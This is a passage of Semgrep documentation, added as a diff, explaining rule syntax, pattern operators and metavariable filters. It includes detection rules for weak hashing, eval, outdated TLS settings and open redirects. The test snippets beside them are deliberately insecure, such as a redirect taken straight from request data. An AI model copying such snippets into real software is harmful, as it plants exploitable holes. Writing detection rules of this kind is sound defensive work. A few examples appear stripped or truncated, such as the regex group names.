+| JSX | `.js`, `.jsx` | `js`, `javascript` |
+| Julia | `.jl` | `julia` |
+| Kotlin | `.kt`, `.kts`, `.ktm` | `kt`, `kotlin` |
+| Lisp | `.lisp`, `.cl`, `.el` | `lisp` |
+| Lua | `.lua` | `lua` |
+| Move on SUI | `.move` | `move_on_sui` |
+| Move on Aptos | `.move` | `move_on_aptos` |
+| OCaml | `.ml`, `.mli` | `ocaml` |
+| PHP | `.php`, `.tpl`, `.phtml` | `php` |
+| Prometheus Query Language | `.promql` | `promql` |
+| Protocol Buffers | `.proto` | `proto`, `protobuf`, `proto3` |
+| Python | `.py`, `.pyi` | `python`, `python2`, `python3`, `py` |
+| QL | `.ql`, `.qll` | `ql` |
+| R | `.r`, `.R` | `r` |
+| Ruby | `.rb` | `ruby` |
+| Rust | `.rs` | `rust` |
+| Scala | `.scala` | `scala` |
+| Scheme | `.scm`, `.ss` | `scheme` |
+| Solidity | `.sol` | `solidity`, `sol` |
+| Swift | `.swift` | `swift` |
+| Terraform | `.tf`, `.hcl`, `.tfvars` | `tf`, `hcl`, `terraform` |
+| TypeScript | `.ts`, `.tsx` | `ts`, `typescript` |
+| Vue | `.vue` | `vue` |
+| XML | `.xml`, `.plist` | `xml` |
+| YAML | `.yml`, `.yaml` | `yaml` |
+
+
+
+**INFO**
+
+To see the maturity level of each supported language, see the following references:
+- [Semgrep CE](/semgrep-ce-languages)
+- [Semgrep Code](/supported-languages#language-maturity-summary)
+
+
+
+### Optional
+
+| Field | Type | Description |
+| :--------- | :------- | :---------------------------------- |
+| [`options`](#options) | `object` | Options object to turn on or turn off matching features |
+| [`fix`](#fix) | `object` | Simple search-and-replace capability |
+| [`metadata`](#metadata) | `object` | Arbitrary user-provided data; attach data to rules without affecting Semgrep behavior |
+| [`min-version`](#min-version-and-max-version) | `string` | Minimum Semgrep version compatible with the rule |
+| [`max-version`](#min-version-and-max-version) | `string` | Maximum Semgrep version compatible with the rule |
+| [`paths`](#paths) | `object` | Paths to include or exclude when running the rule |
+
+The following field is optional, but if used, it must be nested underneath a `patterns` or `pattern-either` field.
+
+| Field | Type | Description |
+| :------------------- | :------- | :----------------------- |
+| [`pattern-inside`](#pattern-inside) | `string` | Keep findings that lie inside this pattern |
+
+The following fields are optional, but if used, they must be nested underneath a `patterns` field.
+
+
+| Field | Type | Description |
+| :--------------- | :------- | :-------------------- |
+| [`metavariable-regex`](#metavariable-regex) | `map` | Search metavariables for [Python `re`](https://docs.python.org/3/library/re.html#re.match) compatible expressions; regex matching is **left anchored** |
+| [`metavariable-pattern`](#metavariable-pattern) | `map` | Match metavariables with a pattern formula |
+| [`metavariable-comparison`](#metavariable-comparison) | `map` | Compare metavariables against basic [Python expressions](https://docs.python.org/3/reference/expressions.html#comparisons) |
+| [`metavariable-name`](#metavariable-name) | `map` | Match metavariables against constraints on what they name |
+| [`pattern-not`](#pattern-not) | `string` | Logical `NOT` - remove findings matching this expression |
+| [`pattern-not-inside`](#pattern-not-inside) | `string` | Keep findings that do not lie inside this pattern |
+| [`pattern-not-regex`](#pattern-not-regex) | `string` | Filter results using a [PCRE2](https://www.pcre.org/current/doc/html/pcre2pattern.html)-compatible pattern in multiline mode |
+
+
+## Operators
+
+### `pattern`
+
+The `pattern` operator looks for code matching its expression. This can be basic expressions like `$X == $X` or unwanted function calls like `hashlib.md5(...)`.
+
+```yaml
+rules:
+ - id: md5-usage
+ languages:
+ - python
+ message: Found md5 usage
+ pattern: hashlib.md5(...)
+ severity: HIGH
+```
+
+The preceding pattern matches the following:
+
+```python highlight={3}
+import hashlib
+# ruleid: md5-usage
+digest = hashlib.md5(b"test")
+# ok: md5-usage
+digest = hashlib.sha256(b"test")
+```
+
+### `patterns`
+
+The `patterns` operator performs a logical `AND` operation on one or more child patterns. This is useful for chaining multiple patterns together where all patterns must be true.
+
+```yaml
+rules:
+ - id: unverified-db-query
+ patterns:
+ - pattern: db_query(...)
+ - pattern-not: db_query(..., verify=True, ...)
+ message: Found unverified db query
+ severity: HIGH
+ languages:
+ - python
+```
+
+The preceding pattern matches the following:
+
+```python highlight={2}
+# ruleid: unverified-db-query
+db_query("SELECT * FROM ...")
+# ok: unverified-db-query
+db_query("SELECT * FROM ...", verify=True, env="prod")
+```
+
+#### `patterns` operator evaluation strategy
+
+The order in which the child patterns are declared in a `patterns` operator does not affect the final result. A `patterns` operator is always evaluated in the same way:
+
+1. Semgrep evaluates all _positive_ patterns, including [`pattern-inside`](#pattern-inside)s, [`pattern`](#pattern)s, [`pattern-regex`](#pattern-regex)es, and [`pattern-either`](#pattern-either)s. Each range matched by one of these patterns is intersected with the ranges matched by the other operators. The result is a set of _positive_ ranges. The positive ranges carry _metavariable bindings_. For example, in one range,`$X` can be bound to the function call `foo()`, and in another range `$X` can be bound to the expression `a + b`.
+2. Semgrep evaluates all _negative_ patterns, including [`pattern-not-inside`](#pattern-not-inside)s, [`pattern-not`](#pattern-not)s, and [`pattern-not-regex`](#pattern-not-regex)es. This provides a set of _negative ranges_ which are used to filter the positive ranges. This results in a strict subset of the positive ranges computed in the previous step.
+3. Semgrep evaluates all _conditionals_, including [`metavariable-regex`](#metavariable-regex)es, [`metavariable-pattern`](#metavariable-pattern)s, and [`metavariable-comparison`](#metavariable-comparison)s. These conditional operators can only examine the metavariables bound in the positive ranges in step 1 and have been filtered through the negative patterns in step 2. Note that metavariables bound by negative patterns are _not_ available here.
+4. Semgrep applies all [`focus-metavariable`](#focus-metavariable)s by computing the intersection of each positive range with the range of the metavariable on which you want to focus. Again, the only metavariables available to focus on are those bound by positive patterns.
+
+
+### `pattern-either`
+
+The `pattern-either` operator performs a logical `OR` operation on one or more child patterns. This is useful for chaining multiple patterns together where any may be true.
+
+```yaml
+rules:
+ - id: insecure-crypto-usage
+ pattern-either:
+ - pattern: hashlib.sha1(...)
+ - pattern: hashlib.md5(...)
+ message: Found insecure crypto usage
+ languages:
+ - python
+ severity: HIGH
+```
+
+The preceding pattern matches the following:
+
+```python highlight={3,5}
+import hashlib
+# ruleid: insecure-crypto-usage
+digest = hashlib.md5(b"test")
+# ruleid: insecure-crypto-usage
+digest = hashlib.sha1(b"test")
+# ok: insecure-crypto-usage
+digest = hashlib.sha256(b"test")
+```
+
+This rule checks for the use of Python standard library functions `hashlib.md5` or `hashlib.sha1`. Depending on their usage, these hashing functions are considered insecure.
+
+### `pattern-regex`
+
+
+The `pattern-regex` operator searches files for substrings matching the given [Perl-Compatible Regular Expressions (PCRE)](https://www.pcre.org/current/doc/html/pcre2pattern.html) pattern. PCRE is a full-featured regular expression (regex) library that is widely compatible with Perl, as well as with the respective regex libraries of Python, JavaScript, Go, Ruby, and Java. This is useful for migrating existing regular expression code search capability to Semgrep. Patterns are compiled in multiline mode. For example, `^` and `$` match at the beginning and end of lines, respectively, in addition to the beginning and end of input.
+
+
+**CAUTION**
+
+PCRE2 supports [some Unicode character properties, but not some Perl properties](https://www.pcre.org/current/doc/html/pcre2pattern.html#uniextseq). For example, `\p{Egyptian_Hieroglyphs}` is supported, but `\p{InMusicalSymbols}` isn't.
+
+
+
+#### Example: `pattern-regex` combined with other pattern operators
+
+```yaml
+rules:
+ - id: boto-client-ip
+ patterns:
+ - pattern-inside: boto3.client(host="...")
+ - pattern-regex: \d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}
+ message: boto client using IP address
+ languages:
+ - python
+ severity: HIGH
+```
+
+The preceding pattern matches the following:
+
+```python highlight={3}
+import boto3
+# ruleid: boto-client-ip
+client = boto3.client(host="192.168.1.200")
+# ok: boto-client-ip
+client = boto3.client(host="dev.internal.example.com")
+```
+
+#### Example: `pattern-regex` used as a standalone, top-level operator
+```yaml
+rules:
+ - id: legacy-eval-search
+ pattern-regex: eval\(
+ message: Insecure code execution
+ languages:
+ - javascript
+ severity: HIGH
+```
+
+The preceding pattern matches the following:
+
+```python highlight={2}
+# ruleid: legacy-eval-search
+eval('var a = 5')
+```
+
+
+**INFO**
+
+Single (`'`) and double (`"`) quotes [behave differently](https://docs.octoprint.org/en/master/configuration/yaml.html#scalars) in YAML syntax. Single quotes are typically preferred when using backslashes (`\`) with `pattern-regex`.
+
+
+Note that you may bind a section of a regular expression to a metavariable by using [named capturing groups](https://www.regular-expressions.info/named.html). In this case, the name of the capturing group must be a valid metavariable name.
+
+```yaml
+rules:
+ - id: my_pattern_id-copy
+ patterns:
+ - pattern-regex: a(?P.*)b(?P.*)
+ message: Semgrep found a match, with $FIRST and $SECOND
+ languages:
+ - regex
+ severity: MEDIUM
+```
+
+The preceding pattern matches the following:
+
+```python highlight={1}
+acbd
+```
+
+### `pattern-not-regex`
+
+
+The `pattern-not-regex` operator filters results using a [PCRE2](https://www.pcre.org/current/doc/html/pcre2pattern.html) regular expression in multiline mode. This is most useful when combined with regular-expression-only rules, providing an easy way to filter findings without having to use negative lookaheads. `pattern-not-regex` works with regular `pattern` clauses, too.
+
+
+The syntax for this operator is the same as `pattern-regex`.
+
+This operator filters findings that have _any overlap_ with the supplied regular expression. For example, if you use `pattern-regex` to detect `Foo==1.1.1` and it also detects `Foo-Bar==3.0.8` and `Bar-Foo==3.0.8`, you can use `pattern-not-regex` to filter the unwanted findings.
+
+```yaml
+rules:
+ - id: detect-only-foo-package
+ languages:
+ - regex
+ message: Found foo package
+ patterns:
+ - pattern-regex: foo
+ - pattern-not-regex: foo-
+ - pattern-not-regex: -foo
+ severity: HIGH
+```
+
+The preceding pattern matches the following:
+
+```python highlight={2}
+# ruleid: detect-only-foo-package
+foo==1.1.1
+# ok: detect-only-foo-package
+foo-bar==3.0.8
+# ok: detect-only-foo-package
+bar-foo==3.0.8
+```
+
+### `focus-metavariable`
+
+The `focus-metavariable` operator focuses on, or _zooms in_ on, the code region matched by a single metavariable or a list of metavariables. For example, to find all functions' arguments annotated with the type `bad`, you may write the following pattern:
+
+```yaml
+pattern: |
+ def $FUNC(..., $ARG : bad, ...):
+ ...
+```
+
+This works, but it matches the entire function definition. Sometimes, this is not desirable. If the definition spans hundreds of lines, they are all matched. In particular, if you are using [Semgrep AppSec Platform](https://semgrep.dev/login) and you have triaged a finding generated by this pattern, the same finding shows up again as new if you make any change to the definition of the function!
+
+To specify that you are only interested in the code matched by a particular metavariable, which, in the example, is `$ARG`, use `focus-metavariable`.
+
+```yaml
+rules:
+ - id: find-bad-args
+ patterns:
+ - pattern: |
+ def $FUNC(..., $ARG : bad, ...):
+ ...
+ - focus-metavariable: $ARG
+ message: |
+ `$ARG' has a "bad" type!
+ languages:
+ - python
+ severity: MEDIUM
+```
+
+The preceding pattern matches the following:
+
+```python highlight={1}
+def f(x : bad):
+ return x
+```
+
+Note that `focus-metavariable: $ARG` is not the same as `pattern: $ARG`! Using `pattern: $ARG` finds all the uses of the parameter `x`, which is not the desired behavior! (Note that `pattern: $ARG` does not match the formal parameter declaration, because in this context `$ARG` only matches expressions.)
+
+```yaml
+rules:
+ - id: find-bad-args
+ patterns:
+ - pattern: |
+ def $FUNC(..., $ARG : bad, ...):
+ ...
+ - pattern: $ARG
+ message: |
+ `$ARG' has a "bad" type!
+ languages:
+ - python
+ severity: MEDIUM
+```
+
+The preceding pattern matches the following:
+
+```python highlight={2}
+def f(x : bad):
+ return x
+```
+
+In short, `focus-metavariable: $X` is not a pattern in itself. It does not perform any matching; it only focuses the matching on the code already bound to `$X` by other patterns. On the other hand, `pattern: $X` matches `$X` against your code (and in this context, `$X` only matches expressions)!
+
+#### Including multiple focus metavariables using set intersection semantics
+
+Include more `focus-metavariable` keys with different metavariables under the `pattern` to match results **only** for the overlapping region of all the focused code:
+
+```yaml
+ patterns:
+ - pattern: foo($X, ..., $Y)
+ - focus-metavariable:
+ - $X
+ - $Y
+```
+
+```yaml
+rules:
+ - id: intersect-focus-metavariable
+ patterns:
+ - pattern-inside: foo($X, ...)
+ - focus-metavariable: $X
+ - pattern: $Y + ...
+ - focus-metavariable: $Y
+ - pattern: "1"
+ message: Like set intersection, only the overlapping region is highlighted
+ languages:
+ - python
+ severity: HIGH
+```
+
+The preceding pattern matches the following:
+
+```python highlight={3}
+# ruleid: intersect-focus-metavariable
+foo (
+ 1
+ +
+ 2,
+ 1
+)
+
+# OK: test
+foo (2+ 1, 1)
+```
+
+
+**INFO**
+
+To make a list of multiple focus metavariables using set union semantics that matches the metavariables regardless of their position in code, see [Including multiple focus metavariables using set union semantics](/writing-rules/experiments/multiple-focus-metavariables) documentation.
+
+
+### `metavariable-regex`
+
+The `metavariable-regex` operator searches metavariables for a [PCRE2](https://www.pcre.org/current/doc/html/pcre2pattern.html) regular expression. This is useful for filtering results based on a [metavariable’s](#metavariables) value. It requires the `metavariable` and `regex` keys and can be combined with other pattern operators.
+
+```yaml
+rules:
+ - id: insecure-methods
+ patterns:
+ - pattern: module.$METHOD(...)
+ - metavariable-regex:
+ metavariable: $METHOD
+ regex: (insecure)
+ message: module using insecure method call
+ languages:
+ - python
+ severity: HIGH
+```
+
+The preceding pattern matches the following:
+
+```python highlight={2,4,6}
+# ruleid: insecure-methods
+module.insecure1("test")
+# ruleid: insecure-methods
+module.insecure2("test")
+# ruleid: insecure-methods
+module.insecure3("test")
+# ok: insecure-methods
+module.secure("test")
+```
+
+Regex matching is **left anchored**. To allow prefixes, use `.*` at the beginning of the regex. To match the end of a string, use `$`. The following example, using the same expression as above but anchored on the right, finds no matches:
+
+```yaml expandable
+rules:
+ - id: insecure-methods
+ patterns:
+ - pattern: module.$METHOD(...)
+ - metavariable-regex:
+ metavariable: $METHOD
+ regex: (insecure$)
+ message: module using insecure method call
+ languages:
+ - python
+ severity: HIGH
+
+The following example matches all of the function calls in the same code sample, returning a false positive on the `module.secure` call:
+
+```yaml
+rules:
+ - id: insecure-methods
+ patterns:
+ - pattern: module.$METHOD(...)
+ - metavariable-regex:
+ metavariable: $METHOD
+ regex: (.*secure)
+ message: module using insecure method call
+ languages:
+ - python
+ severity: HIGH
+```
+
+
+**INFO**
+
+Include quotes in your regular expression when using `metavariable-regex` to search string literals. For more details, see [include-quotes](https://semgrep.dev/playground/s/EbDB) code snippet.
+
+
+### `metavariable-pattern`
+
+The `metavariable-pattern` operator matches metavariables with a pattern formula. This is useful for filtering results based on a [metavariable’s](#metavariables) value. It requires the `metavariable` key, and precisely one key of `pattern`, `patterns`, `pattern-either`, or `pattern-regex`. This operator can be nested as well as combined with other operators.
+
+For example, the `metavariable-pattern` can be used to filter out matches that do **not** match specific criteria:
+
+```yaml
+rules:
+ - id: disallow-old-tls-versions2
+ languages:
+ - javascript
+ message: Match found
+ patterns:
+ - pattern: |
+ $CONST = require('crypto');
+ ...
+ $OPTIONS = $OPTS;
+ ...
+ https.createServer($OPTIONS, ...);
+ - metavariable-pattern:
+ metavariable: $OPTS
+ patterns:
+ - pattern-not: >
+ {secureOptions: $CONST.SSL_OP_NO_SSLv2 | $CONST.SSL_OP_NO_SSLv3
+ | $CONST.SSL_OP_NO_TLSv1}
+ severity: MEDIUM
+```
+
+The preceding pattern matches the following:
+
+```python highlight={3-9}
+function bad() {
+ // ruleid:disallow-old-tls-versions2
+ var constants = require('crypto');
+ var sslOptions = {
+ key: fs.readFileSync('/etc/ssl/private/private.key'),
+ secureProtocol: 'SSLv23_server_method',
+ secureOptions: constants.SSL_OP_NO_SSLv2 | constants.SSL_OP_NO_SSLv3
+ };
+ https.createServer(sslOptions);
+}
+```
+
+
+**INFO**
+
+In this case, it is possible to start a `patterns` AND operation with a `pattern-not`, because there is an implicit `pattern: ...` that matches the content of the metavariable.
+
+
+The `metavariable-pattern` is also helpful in combination with `pattern-either`:
+
+```yaml expandable
+rules:
+ - id: open-redirect
+ languages:
+ - python
+ message: Match found
+ patterns:
+ - pattern-inside: |
+ def $FUNC(...):
+ ...
+ return django.http.HttpResponseRedirect(..., $DATA, ...)
+ - metavariable-pattern:
+ metavariable: $DATA
+ patterns:
+ - pattern-either:
+ - pattern: $REQUEST
+ - pattern: $STR.format(..., $REQUEST, ...)
+ - pattern: $STR % $REQUEST
+ - pattern: $STR + $REQUEST
+ - pattern: f"...{$REQUEST}..."
+ - metavariable-pattern:
+ metavariable: $REQUEST
+ patterns:
+ - pattern-either:
+ - pattern: request.$W
+ - pattern: request.$W.get(...)
+ - pattern: request.$W(...)
+ - pattern: request.$W[...]
+ - metavariable-regex:
+ metavariable: $W
+ regex: (?!get_full_path)
+ severity: MEDIUM
+```
+
+The preceding pattern matches the following:
+
+```python highlight={2,4}
+from django.http import HttpResponseRedirect
+def unsafe(request):
+ # ruleid:open-redirect
+ return HttpResponseRedirect(request.POST.get("url"))
+```
+
+
+**TIP**
+
+It is possible to nest `metavariable-pattern` inside `metavariable-pattern`!
+
+
+
+**INFO**
+
+The metavariable should be bound to an expression, a statement, or a list of statements, for this test to be meaningful. A metavariable bound to a list of function arguments, a type, or a pattern always evaluates to false.
+
+
+#### `metavariable-pattern` with nested language
+
+If the metavariable's content is a string, then it is possible to use `metavariable-pattern` to match this string as code by specifying the target language via the `language` key. See the following examples of `metavariable-pattern`:
+
+
+**EXAMPLES OF `METAVARIABLE-PATTERN`**
+
+- Match JavaScript code inside HTML in the following [Semgrep Playground](https://semgrep.dev/s/z95k) example.
+- Filter regex matches in the following [Semgrep Playground](https://semgrep.dev/s/pkNk) example.
+
+
+#### Example: Match JavaScript code inside HTML
+
+```yaml
+rules:
+ - id: test
+ languages:
+ - generic
+ message: javascript inside html working!
+ patterns:
+ - pattern: |
+
+ - metavariable-pattern:
+ language: javascript
+ metavariable: $...JS
+ patterns:
+ - pattern: |
+ console.log(...)
+ severity: MEDIUM
+```
+
+The preceding pattern matches the following:
+
+```python highlight={2-4}
+{/* ruleid:test */}
+
+```
+
+#### Example: Filter regex matches
+
+```yaml
+rules:
+ - id: test
+ languages:
+ - generic
+ message: "Google dependency: $1 $2"
+ patterns:
+ - pattern-regex: gem "(.*)", "(.*)"
+ - metavariable-pattern:
+ metavariable: $1
+ language: generic
+ patterns:
+ - pattern: google
+ severity: LOW
+```
+
+The preceding pattern matches the following:
+
+```python highlight={1,6}
+source "https://rubygems.org"
+
+#OK:test
+gem "functions_framework", "~> 0.7"
+#ruleid:test
+gem "google-cloud-storage", "~> 1.29"
+```
+
+### `metavariable-comparison`
+
+The `metavariable-comparison` operator compares metavariables against a basic [Python comparison](https://docs.python.org/3/reference/expressions.html#comparisons) expression. This is useful for filtering results based on a [metavariable's](/writing-rules/pattern-syntax/#metavariables) numeric value.
+
+The `metavariable-comparison` operator is a mapping that requires the `metavariable` and `comparison` keys. It can be combined with other pattern operators in the following [Semgrep Playground](https://semgrep.dev/s/GWv6) example.
+
+This matches code such as `set_port(80)` or `set_port(443)`, but not `set_port(8080)`.
+
+Comparison expressions support simple arithmetic as well as composition with [Boolean operators](https://docs.python.org/3/reference/expressions.html#boolean-operations) to allow for more complex matching. This is particularly useful for checking that metavariables are divisible by particular values, such as enforcing that a specific value is even or odd.
+
+```yaml
+rules:
+ - id: superuser-port
+ languages:
+ - python
+ message: module setting superuser port
+ patterns:
+ - pattern: set_port($ARG)
+ - metavariable-comparison:
+ comparison: $ARG < 1024 and $ARG % 2 == 0
+ metavariable: $ARG
+ severity: HIGH
+```
+
+The preceding pattern matches the following:
+
+```python highlight={4}
+# ok: superuser-port
+set_port(443)
+# ruleid: superuser-port
+set_port(80)
+# ok: superuser-port
+set_port(8080)
+```
+
+Building on the previous example, this still matches code such as `set_port(80)`, but it no longer matches `set_port(443)` or `set_port(8080)`.
+
+The `comparison` key accepts a Python expression using:
+
+- Boolean, string, integer, and float literals.
+- Boolean operators `not`, `or`, and `and`.
+- Arithmetic operators `+`, `-`, `*`, `/`, and `%`.
+- Comparison operators `==`, `!=`, `<`, `<=`, `>`, and `>=`.
+- Function `int()` to convert strings into integers.
+- Function `str()` to convert numbers into strings.
+- Function `today()` that gets today's date as a float representing epoch time.
+- Function `strptime()` that converts strings in the format `"yyyy-mm-dd"` to a float representing the date in epoch time.
+- Lists, together with the `in`, and `not in` infix operators.
+- Strings, together with the `in` and `not in` infix operators, for substring containment.
+- Function `re.match()` to match a regular expression (without the optional `flags` argument).
+- Function `lower()` converts strings to lower case.
+- Function `upper()` converts strings to upper case.
+
+You can use Semgrep metavariables such as `$MVAR`, which Semgrep evaluates as follows:
+
+- If `$MVAR` binds to a literal, then that literal is the value assigned to `$MVAR`.
+- If `$MVAR` binds to a code variable that is a constant, and constant propagation is enabled (as it is by default), then that constant is the value assigned to `$MVAR`.
+- Otherwise, the code bound to the `$MVAR` is kept unevaluated, and its string representation can be obtained using the `str()` function, as in `str($MVAR)`. For example, if `$MVAR` binds to the code variable `x`, `str($MVAR)` evaluates to the string literal `"x"`.
+
+#### Legacy `metavariable-comparison` keys
+
+
+**INFO**
+
+You can avoid using the legacy keys described below (`base: int` and `strip: bool`) by using the `int()` function, as in `int($ARG) > 0o600` or `int($ARG) > 2147483647`.
+
+
+The `metavariable-comparison` operator also takes optional `base: int` and `strip: bool` keys. These keys set the integer base the metavariable value should be interpreted as and remove quotes from the metavariable value, respectively.
+
+```yaml
+rules:
+ - id: excessive-permissions
+ languages:
+ - python
+ message: module setting excessive permissions
+ patterns:
+ - pattern: set_permissions($ARG)
+ - metavariable-comparison:
+ comparison: $ARG > 0o600
+ metavariable: $ARG
+ base: 8
+ severity: HIGH
+```
+
+The preceding pattern matches the following:
+
+```python highlight={2}
+# ruleid: excessive-permissions
+set_permissions(0o700)
+# ok: excessive-permissions
+set_permissions(0o400)
+```
+
+This interprets metavariable values found in code as octal. As a result, Semgrep detects `0700`, but it does **not** detect `0400`.
+
+```yaml
+rules:
+ - id: int-overflow
+ languages:
+ - python
+ message: Potential integer overflow
+ patterns:
+ - pattern: int($ARG)
+ - metavariable-comparison:
+ strip: true
+ comparison: $ARG > 2147483647
+ metavariable: $ARG
+ severity: HIGH
+```
+
+The preceding pattern matches the following:
+
+```python highlight={2}
+# ruleid: int-overflow
+int("2147483648")
+# ok: int-overflow
+int("2147483646")
+```
+
+This removes quotes (`'`, `"`, and `` ` ``) from both ends of the metavariable content. As a result, Semgrep detects `"2147483648"`, but it does **not** detect `"2147483646"`. This is useful when you expect strings to contain integer or float data.
+
+### `metavariable-name`
+
+
+**TIP**
+
+- `metavariable-name` requires a Semgrep account and the use of Semgrep's proprietary engine since it requires name resolution information. This means that it does **not** work with the `--oss-only` flag.
+- While optional, you can improve the accuracy of `metavariable-name` by enabling **[cross-file analysis](/getting-started/cli#enable-cross-file-analysis)**.
+
+
+The `metavariable-name` operator adds a constraint to the types of identifiers a metavariable can match. Currently, the only constraint supported is on the module or namespace from which an identifier originates. This is useful for filtering results in languages that don't have a native syntax for fully qualified names, or languages where module names may contain characters that are not legal in identifiers, such as JavaScript or TypeScript.
+
+
+```yaml
+rules:
+ - id: insecure-method
+ patterns:
+ - pattern: $MODULE.insecure(...)
+ - metavariable-name:
+ metavariable: $MODULE
+ module: "@foo-bar"
+ message: Uses insecure method from @foo-bar.
+ languages:
+ - javascript
+ severity: HIGH
+```
+
+The preceding pattern matches the following:
+
+```javascript highlight={10,12}
+// ECMAScript modules
+import * as lib from '@foo-bar';
+import * as lib2 from 'myotherlib';
+
+// CommonJS modules
+const { insecure } = require('@foo-bar');
+const lib3 = require('myotherlib');
+
+// ruleid: insecure-method
+lib.insecure("test");
+// ruleid: insecure-method
+insecure("test");
+
+// ok: insecure-method
+lib.secure("test");
+// ok: insecure-method
+lib2.insecure("test");
+// ok: insecure-method
+lib3.insecure("test");
+```
+
+If a match should occur if the metavariable matches one of a variety of matches, there is also a shorthand `modules` key, which takes a list of module names.
+
+```yaml
+rules:
+ - id: insecure-method
+ patterns:
+ - pattern: $MODULE.method(...)
+ - metavariable-name:
+ metavariable: $MODULE
+ modules:
+ - foo
+ - bar
+ message: Uses insecure method from @foo-bar.
+ languages:
+ - javascript
+ severity: HIGH
+```
+
+This can be useful in instances where there may be multiple API-compatible packages that share an issue.
+
+### `pattern-not`
+
+The `pattern-not` operator is the opposite of the `pattern` operator. It finds code that does not match its expression. This is useful for eliminating common false positives.
+
+```yaml
+rules:
+ - id: unverified-db-query
+ patterns:
+ - pattern: db_query(...)
+ - pattern-not: db_query(..., verify=True, ...)
+ message: Found unverified db query
+ severity: HIGH
+ languages:
+ - python
+```
+
+The preceding pattern matches the following:
+
+```python highlight={2}
+# ruleid: unverified-db-query
+db_query("SELECT * FROM ...")
+# ok: unverified-db-query
+db_query("SELECT * FROM ...", verify=True, env="prod")
+```
+
+Alternatively, `pattern-not` accepts a `patterns` or `pattern-either` property and negates everything inside the property.
+
+```yaml
+rules:
+ - id: unverified-db-query
+ patterns:
+ - pattern: db_query(...)
+ - pattern-not:
+ pattern-either:
+ - pattern: db_query(..., verify=True, ...)
+ - pattern-inside: |
+ with ensure_verified(db_query):
+ db_query(...)
+ message: Found unverified db query
+ severity: HIGH
+ languages:
+ - python
+```
+
+### `pattern-inside`
+
+The `pattern-inside` operator keeps matched findings that reside within its expression. This is useful for finding code within other pieces of code, such as functions or if blocks.
+
+```yaml
+rules:
+ - id: return-in-init
+ patterns:
+ - pattern: return ...
+ - pattern-inside: |
+ class $CLASS:
+ ...
+ - pattern-inside: |
+ def __init__(...):
+ ...
+ message: return should never appear inside a class __init__ function
+ languages:
+ - python
+ severity: HIGH
+```
+
+The preceding pattern matches the following:
+
+```python highlight={4}
+class A:
+ def __init__(self):
+ # ruleid: return-in-init
+ return None
+
+class B:
+ def __init__(self):
+ # ok: return-in-init
+ self.inited = True
+
+def foo():
+ # ok: return-in-init
+ return 5
+```
+
+### `pattern-not-inside`
+
+The `pattern-not-inside` operator keeps matched findings that do not reside within its expression. It is the opposite of `pattern-inside`. This is useful for finding code that’s missing a corresponding cleanup action like disconnect, close, or shutdown. It’s also helpful in finding problematic code that isn't inside code that mitigates the issue.
+
+```yaml
+rules:
+ - id: open-never-closed
+ patterns:
+ - pattern: $F = open(...)
+ - pattern-not-inside: |
+ $F = open(...)
+ ...
+ $F.close()
+ message: file object opened without a corresponding close
+ languages:
+ - python
+ severity: HIGH
+```
+
+The preceding pattern matches the following:
+
+```python highlight={3}
+def func1():
+ # ruleid: open-never-closed
+ fd = open('test.txt')
+ results = fd.read()
+ return results
+def func2():
+ # ok: open-never-closed
+ fd = open('test.txt')
+ results = fd.read()
+ fd.close()
+ return results
+```
+
+The preceding rule identifies files that are opened but never closed, potentially leading to resource exhaustion. It looks for the `open(...)` pattern _and not_ a following `close()` pattern.
+
+The `$F` metavariable ensures that the same variable name is used in the `open` and `close` calls. The ellipsis operator allows any arguments to be passed to `open` and any sequence of code statements to be executed between the `open` and `close` calls. The rule ignores how `open` is called or what happens up to a `close` call; it only needs to make sure `close` is called.
+
+## Metavariable matches
+
+Metavariable matching operates differently for logical AND (`patterns`) and logical OR (`pattern-either`) parent operators. Behavior is consistent across all child operators: `pattern`, `pattern-not`, `pattern-regex`, `pattern-inside`, `pattern-not-inside`.
+
+### Metavariables in logical ANDs
+
+Metavariable values must be identical across sub-patterns when performing logical AND operations with the `patterns` operator.
+
+Example:
+
+```yaml
+rules:
+ - id: function-args-to-open
+ patterns:
+ - pattern-inside: |
+ def $F($X):
+ ...
+ - pattern: open($X)
+ message: "Function argument passed to open() builtin"
+ languages: [python]
+ severity: HIGH
+```
+
+This rule matches the following code:
+
+```python
+def foo(path):
+ open(path)
+```
+
+The example rule doesn’t match this code:
+
+```python
+def foo(path):
+ open(something_else)
+```
+
+### Metavariables in logical ORs
+
+Metavariable matching does not affect the matching of logical OR operations with the `pattern-either` operator.
+
+Example:
+
+```yaml
+rules:
+ - id: insecure-function-call
+ pattern-either:
+ - pattern: insecure_func1($X)
+ - pattern: insecure_func2($X)
+ message: "Insecure function use"
+ languages: [python]
+ severity: HIGH
+```
+
+The preceding rule matches both examples below:
+
+```python
+insecure_func1(something)
+insecure_func2(something)
+```
+
+```python
+insecure_func1(something)
+insecure_func2(something_else)
+```
+
+### Metavariables in complex logic
+
+Metavariable matching still affects subsequent logical ORs if the parent is a logical AND.
+
+Example:
+
+```yaml
+patterns:
+ - pattern-inside: |
+ def $F($X):
+ ...
+ - pattern-either:
+ - pattern: bar($X)
+ - pattern: baz($X)
+```
+
+The preceding rule matches both examples below:
+
+```python
+def foo(something):
+ bar(something)
+```
+
+```python
+def foo(something):
+ baz(something)
+```
+
+The example rule doesn’t match this code:
+
+```python
+def foo(something):
+ bar(something_else)
+```
+
+## `options`
+
+Enable, disable, or modify the following matching features:
+
+| Option | Default | Description |
+| :--------------------- | :------ | :--------------------------------------------------------------------- |
+| `ac_matching` | `true` | [Matching modulo associativity and commutativity](/writing-rules/pattern-syntax.mdx#associative-and-commutative-operators), treat Boolean AND/OR as associative, and bitwise AND/OR/XOR as both associative and commutative. |
+| `attr_expr` | `true` | Expression patterns (for example: `f($X)`) matches attributes (for example: `@f(a)`). |
+| `commutative_boolop` | `false` | Treat Boolean AND/OR as commutative even if not semantically accurate. |
+| `constant_propagation` | `true` | [Constant propagation](/writing-rules/pattern-syntax/#constants), including [intraprocedural flow-sensitive constant propagation](/writing-rules/data-flow/constant-propagation). |
+| `decorators_order_matters` | `false` | Match non-keyword attributes (for example: decorators in Python) in order, instead of the order-agnostic default. Keyword attributes (for example: `static`, `inline`, etc) are not affected. |
+| `generic_comment_style` | none | In generic mode, assume that comments follow the specified syntax. They are then ignored for matching purposes. Allowed values for comment styles are:
`c` for traditional C-style comments (`/* ... */`).
`cpp` for modern C or C++ comments (`// ...` or `/* ... */`).
`shell` for shell-style comments (`# ...`).
By default, the generic mode does not recognize any comments. Available since Semgrep version 0.96. For more information about generic mode, see the [Generic Pattern Matching](/writing-rules/generic-pattern-matching) documentation. |
